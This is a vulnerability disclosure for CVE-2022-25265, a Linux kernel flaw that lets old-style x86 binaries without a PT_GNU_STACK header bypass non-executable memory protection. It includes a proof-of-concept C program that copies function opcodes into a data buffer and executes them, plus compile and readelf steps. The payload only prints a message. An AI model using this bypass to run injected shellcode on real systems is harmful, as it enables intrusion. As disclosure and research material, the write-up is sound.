CVE-2022-25265 - Executable Space Protection Bypass

author:[xoreaxeax]

As it turns out, binary files built either under old Linux systems lacking NX or IA32 systems with NX,
which do NOT create PT_GNU_STACK header will be marked and treated with exec-all personality flag by the Linux kernel.
This allows for read/write/exec of bytes located in supposedly non-executable and non-writable regions of binary files, therefore completely bypassing executable-space protection.

The flawed implementation can be found here: https://github.com/torvalds/linux/blob/master/arch/x86/include/asm/elf.h#L280

To achieve this, “historical” building tools will be used for building the binary.
In this case, specifically GCC 3.2.2 running on x86 Slackware9 with Linux 2.4.20.
The resulting binary file will be executable under modern Linux systems, in this case Linux 5.16.1

A CVE ID CVE-2022-25265 has been assigned to this vulnerability.

The very same effect MIGHT be achievable by using specific linker arguments/scripts, although this has not been verified.

The following code will copy assembled bytes of function dummy() to character array harmless_str_buf and execute the destination array as a function.

/* demo.c - https://github.com/x0reaxeax/exec-prot-bypass/blob/main/demo.c */
#define NULL    ((void *) 0)
#define POC

#define BUFSIZE 128

char str[] = "noexec bypassed!\n";

/**
 * This buffer will be loaded with dummy()'s opcodes
*/
char harmless_str_buf[BUFSIZE] = "xrandomdatarandomdatarandomdatarandomdatarandomdatarandomdatarandomdatarandomdatarandomdatarandomdatarandomdatarandomdatarandomx";

/**
 * dummy function - target shellcode
 * opcodes of this function will be copied to harmless_str_buf.
 * included for ease of POC demonstration
*/ 
void dummy(void) {
    __asm__ volatile (
                    ".intel_syntax noprefix;"
                    "mov eax, 4;"     /* sys_write */
                    "mov ebx, 1;"     /* stdout    */
                    "mov ecx, %[str];"
                    "mov edx, 17;"    /* strlen    */
                    "int 0x80;"       /* syscall   */
                    "int3;"           /* boundary  */
                    ".att_syntax;"
                    :: [str] "r" (str)
                    : "eax", "ebx", "ecx", "edx"
    );
}

/**
 * copies opcodes from `dummy()` to destination buf
*/ 
void (*copy_opcodes(unsigned char *output, unsigned int bufsiz)) (void) {
    unsigned int i = 0;
    unsigned char *dummy_ptr = (unsigned char *) dummy;
    for (i = 0; i < bufsiz; i++) {
        unsigned char opcode = *(dummy_ptr + i);
        output[i] = opcode;

        if (opcode == 0xcc) {
            /* boundary hit */
            break;
        }
    }

    /* return the address of output buffer, which will be executed as a function */
    return (void (*)()) output;
}

int _start(void) {
#ifdef POC  /* execute opcodes in harmless_str_buf */
    void (*pfunc)() = NULL;

    pfunc = copy_opcodes(harmless_str_buf, BUFSIZE);
    pfunc();
#else           /* execute dummy() to demonstrate it's purpose */
    dummy();
#endif

    return 0;   /* segfault */
}

Compilation: $ gcc -nostdlib demo.c

The lack of PT_GNU_STACK can be seen in the output of GNU binutil’s readelf(1):

$ readelf -l demo.elf32

Elf file type is EXEC (Executable file)
Entry point 0x80480e7
There are 2 program headers, starting at offset 52

Program Headers:
  Type      Offset      VirtAddr    PhysAddr    FileSiz MemSiz  Flg Align
  LOAD      0x000000    0x08048000  0x08048000  0x00118 0x00118 R E 0x1000
  LOAD      0x000120    0x08049120  0x08049120  0x000a0 0x000a0 RW  0x1000

Section to Segment mapping:
  Segment Sections...
  00      .text
  01      .data

A demonstration with reverse shell can be seen here